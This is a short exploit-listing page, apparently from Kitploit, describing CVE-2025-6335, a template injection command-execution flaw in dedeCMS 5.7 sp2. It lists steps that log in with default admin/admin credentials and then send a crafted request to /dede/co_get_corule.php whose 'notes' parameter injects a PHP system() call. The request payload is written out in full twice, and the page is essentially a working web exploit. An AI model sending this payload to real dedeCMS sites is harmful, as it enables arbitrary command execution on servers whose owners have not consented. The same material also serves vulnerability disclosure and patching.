CVE-2025-6335 — CVE-2025-6335 の概念実証エクスプロイト。dedeCMS 5.7 sp2 におけるテンプレートインジェクションによるコマンド実行の脆弱性を悪用し、バックエンドインターフェース経由で任意のコマンド実行を可能にします。 | Kitploit

Title: Template injection command execution vulnerability in dedeCMS 5.7 sp2

BUG_Author: Ewoji

Affected Version: dedeCMS < 5.7.2

Vendor: Shanghai Zhuozhuo Network Technology Co., LTD

Software: dedeCMS

Vulnerability Files:

Description:

After install，Log in to the background
- Use the default account password admin/admin
Exploiting the Template
- Access the dede/co_get_corule.php interface
- Pass in the parameter /dede/co_get_corule.php? notes={dede:"); system('calc'); ///}&job=1,Accessing twice like this can execute the command
Verifying the Exploit:
- If the injection is successful,The attacker will execute arbitrary commands

/dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1
Accessing twice like this can execute the command